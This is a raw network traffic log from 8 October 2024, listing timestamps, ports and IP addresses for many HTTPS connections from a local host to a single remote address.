Oct 8, 2024 02:46:00.992269039 CEST	49723	80	192.168.2.4	199.232.214.172
Oct 8, 2024 02:46:01.048693895 CEST	51335	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:01.048726082 CEST	443	51335	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.325314999 CEST	443	51339	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.325773001 CEST	51339	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.325815916 CEST	443	51339	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.326164961 CEST	51339	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.326174021 CEST	443	51339	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.327110052 CEST	443	51336	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.327567101 CEST	51336	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.327578068 CEST	443	51336	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.327831984 CEST	443	51338	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.327862978 CEST	443	51340	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.327893972 CEST	51336	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.327900887 CEST	443	51336	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.328105927 CEST	51338	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.328125954 CEST	443	51338	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.328274965 CEST	51340	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.328295946 CEST	443	51340	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.328479052 CEST	51338	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.328483105 CEST	443	51338	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.328699112 CEST	51340	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.328705072 CEST	443	51340	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.328744888 CEST	443	51337	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.328983068 CEST	51337	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.328989983 CEST	443	51337	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.329266071 CEST	51337	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.329269886 CEST	443	51337	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.459397078 CEST	443	51339	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.459454060 CEST	443	51339	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.459512949 CEST	51339	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.459629059 CEST	443	51337	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.459664106 CEST	51339	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.459707022 CEST	443	51339	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.459719896 CEST	443	51337	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.459727049 CEST	443	51338	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.459733009 CEST	51339	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.459743023 CEST	443	51336	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.459748030 CEST	443	51339	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.459765911 CEST	51337	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.459893942 CEST	443	51338	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.459897995 CEST	51337	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.459916115 CEST	443	51336	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.459922075 CEST	443	51337	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.459938049 CEST	51337	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.459938049 CEST	51338	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.459949017 CEST	443	51337	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.459971905 CEST	51336	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.460380077 CEST	51336	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.460380077 CEST	51336	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.460395098 CEST	443	51336	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.460413933 CEST	443	51336	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.460733891 CEST	443	51340	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.460808039 CEST	51338	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.460813999 CEST	443	51338	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.460813999 CEST	443	51340	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.460828066 CEST	51338	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.460833073 CEST	443	51338	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.460877895 CEST	51340	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.461381912 CEST	51340	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.461383104 CEST	51340	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.461405039 CEST	443	51340	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.461416960 CEST	443	51340	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.462857008 CEST	51341	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.462881088 CEST	443	51341	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.462944031 CEST	51341	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.463406086 CEST	51342	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.463413000 CEST	443	51342	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.463422060 CEST	51341	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.463433981 CEST	443	51341	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.463462114 CEST	51342	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.463588953 CEST	51342	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.463598013 CEST	443	51342	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.464332104 CEST	51343	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.464374065 CEST	443	51343	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.464426994 CEST	51344	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.464458942 CEST	443	51344	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.464500904 CEST	51344	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.464540005 CEST	51343	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.464567900 CEST	51343	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.464574099 CEST	443	51343	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.464628935 CEST	51344	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.464639902 CEST	443	51344	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.465091944 CEST	51345	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.465176105 CEST	443	51345	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:02.465248108 CEST	51345	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.465329885 CEST	51345	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:02.465353012 CEST	443	51345	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.153023005 CEST	443	51342	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.153027058 CEST	443	51343	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.153476954 CEST	51343	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.153477907 CEST	51342	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.153492928 CEST	443	51342	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.153510094 CEST	443	51343	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.154000044 CEST	51342	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.154004097 CEST	443	51342	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.154226065 CEST	51343	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.154233932 CEST	443	51343	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.158123016 CEST	443	51341	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.158384085 CEST	51341	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.158390999 CEST	443	51341	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.158678055 CEST	51341	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.158682108 CEST	443	51341	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.171525002 CEST	443	51344	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.171772957 CEST	51344	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.171809912 CEST	443	51344	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.172039986 CEST	51344	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.172050953 CEST	443	51344	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.184395075 CEST	443	51345	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.184616089 CEST	51345	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.184660912 CEST	443	51345	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.184870958 CEST	51345	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.184884071 CEST	443	51345	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.252469063 CEST	443	51343	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.252515078 CEST	443	51343	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.252578020 CEST	51343	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.252831936 CEST	51343	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.252831936 CEST	51343	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.252852917 CEST	443	51343	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.252862930 CEST	443	51343	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.253139019 CEST	443	51342	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.253179073 CEST	443	51342	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.253216028 CEST	51342	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.253282070 CEST	51342	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.253293991 CEST	443	51342	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.253304005 CEST	51342	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.253309011 CEST	443	51342	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.254966974 CEST	51346	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.255008936 CEST	443	51346	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.255026102 CEST	51347	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.255057096 CEST	443	51347	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.255090952 CEST	51346	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.255116940 CEST	51347	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.255232096 CEST	51346	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.255233049 CEST	51347	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.255240917 CEST	443	51347	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.255240917 CEST	443	51346	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.256390095 CEST	443	51341	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.256535053 CEST	443	51341	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.256587982 CEST	51341	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.256612062 CEST	51341	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.256618023 CEST	443	51341	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.256625891 CEST	51341	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.256629944 CEST	443	51341	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.258187056 CEST	51348	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.258224964 CEST	443	51348	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.258285999 CEST	51348	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.258395910 CEST	51348	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.258410931 CEST	443	51348	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.271481037 CEST	443	51344	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.271651030 CEST	443	51344	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.271709919 CEST	51344	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.271739006 CEST	51344	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.271739006 CEST	51344	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.271754026 CEST	443	51344	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.271761894 CEST	443	51344	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.273381948 CEST	51349	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.273400068 CEST	443	51349	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.273467064 CEST	51349	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.273571968 CEST	51349	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.273581028 CEST	443	51349	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.286729097 CEST	443	51345	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.286865950 CEST	443	51345	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.286936045 CEST	51345	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.286982059 CEST	51345	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.286982059 CEST	51345	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.286995888 CEST	443	51345	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.287004948 CEST	443	51345	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.288592100 CEST	51350	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.288600922 CEST	443	51350	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.288662910 CEST	51350	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.288772106 CEST	51350	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.288780928 CEST	443	51350	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.976417065 CEST	443	51346	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.977188110 CEST	51346	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.977248907 CEST	443	51346	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.978375912 CEST	51346	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.978390932 CEST	443	51346	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.984329939 CEST	443	51348	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.984709978 CEST	51348	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.984743118 CEST	443	51348	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:03.985795021 CEST	51348	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:03.985802889 CEST	443	51348	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.018876076 CEST	443	51350	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.019326925 CEST	51350	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.019340992 CEST	443	51350	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.020010948 CEST	51350	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.020015955 CEST	443	51350	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.075660944 CEST	443	51346	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.075737000 CEST	443	51346	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.075817108 CEST	51346	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.075936079 CEST	51346	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.075979948 CEST	443	51346	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.076018095 CEST	51346	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.076034069 CEST	443	51346	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.080292940 CEST	51351	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.080351114 CEST	443	51351	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.080424070 CEST	51351	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.080766916 CEST	51351	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.080786943 CEST	443	51351	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.083467960 CEST	443	51348	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.083612919 CEST	443	51348	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.083704948 CEST	51348	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.083744049 CEST	51348	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.083758116 CEST	443	51348	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.083770990 CEST	51348	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.083777905 CEST	443	51348	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.085537910 CEST	51352	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.085577011 CEST	443	51352	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.085632086 CEST	51352	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.085737944 CEST	51352	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.085750103 CEST	443	51352	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.121009111 CEST	443	51350	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.121164083 CEST	443	51350	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.121225119 CEST	51350	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.121296883 CEST	51350	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.121311903 CEST	443	51350	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.121326923 CEST	51350	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.121334076 CEST	443	51350	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.125935078 CEST	51353	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.125972033 CEST	443	51353	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.126349926 CEST	51353	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.126349926 CEST	51353	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.126415968 CEST	443	51353	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.733989954 CEST	443	51351	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.734509945 CEST	51351	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.734555006 CEST	443	51351	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.734914064 CEST	51351	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.734921932 CEST	443	51351	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.767445087 CEST	443	51353	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.767848015 CEST	51353	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.767863035 CEST	443	51353	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.768507004 CEST	51353	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.768513918 CEST	443	51353	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.771222115 CEST	443	51352	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.771531105 CEST	51352	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.771553993 CEST	443	51352	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.772059917 CEST	51352	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.772066116 CEST	443	51352	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.834376097 CEST	443	51351	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.834446907 CEST	443	51351	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.834589005 CEST	51351	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.834650993 CEST	51351	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.834650993 CEST	51351	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.834677935 CEST	443	51351	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.834695101 CEST	443	51351	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.837722063 CEST	51354	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.837769985 CEST	443	51354	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.838249922 CEST	51354	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.838249922 CEST	51354	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.838290930 CEST	443	51354	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.865626097 CEST	443	51353	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.865710020 CEST	443	51353	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.865787029 CEST	51353	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.865941048 CEST	51353	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.865961075 CEST	443	51353	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.866476059 CEST	51353	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.866486073 CEST	443	51353	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.868491888 CEST	51355	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.868541956 CEST	443	51355	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.868614912 CEST	51355	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.868730068 CEST	51355	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.868746996 CEST	443	51355	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.875291109 CEST	443	51352	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.875478983 CEST	443	51352	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.875535011 CEST	51352	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.875559092 CEST	51352	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.875577927 CEST	443	51352	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.875595093 CEST	51352	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.875602961 CEST	443	51352	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.877543926 CEST	51356	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.877589941 CEST	443	51356	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:04.877664089 CEST	51356	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.877825022 CEST	51356	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:04.877840996 CEST	443	51356	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.514817953 CEST	443	51355	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.515315056 CEST	51355	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.515335083 CEST	443	51355	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.515711069 CEST	51355	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.515716076 CEST	443	51355	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.519248962 CEST	443	51356	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.519674063 CEST	51356	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.519731998 CEST	443	51356	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.520207882 CEST	51356	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.520220995 CEST	443	51356	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.613981009 CEST	443	51355	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.614123106 CEST	443	51355	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.614207983 CEST	51355	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.614291906 CEST	51355	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.614291906 CEST	51355	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.614309072 CEST	443	51355	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.614315987 CEST	443	51355	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.617105007 CEST	51357	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.617202997 CEST	443	51357	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.617307901 CEST	51357	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.617455959 CEST	51357	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.617475033 CEST	443	51357	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.621927023 CEST	443	51356	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.622071028 CEST	443	51356	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.622136116 CEST	51356	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.622209072 CEST	51356	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.622209072 CEST	51356	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.622251987 CEST	443	51356	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.622277021 CEST	443	51356	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.624341965 CEST	51358	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.624366045 CEST	443	51358	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.624452114 CEST	51358	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.624562025 CEST	51358	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.624586105 CEST	443	51358	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.659270048 CEST	443	51349	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.659718990 CEST	51349	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.659734011 CEST	443	51349	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.660140991 CEST	51349	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.660145998 CEST	443	51349	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.667030096 CEST	443	51347	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.667331934 CEST	51347	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.667409897 CEST	443	51347	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.667635918 CEST	51347	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.667651892 CEST	443	51347	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.759710073 CEST	443	51349	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.759848118 CEST	443	51349	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.759927034 CEST	51349	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.760042906 CEST	51349	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.760067940 CEST	443	51349	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.760077000 CEST	51349	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.760087967 CEST	443	51349	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.763062954 CEST	51359	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.763153076 CEST	443	51359	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.763248920 CEST	51359	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.763432980 CEST	51359	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.763457060 CEST	443	51359	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.767780066 CEST	443	51347	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.767924070 CEST	443	51347	13.107.246.45	192.168.2.4
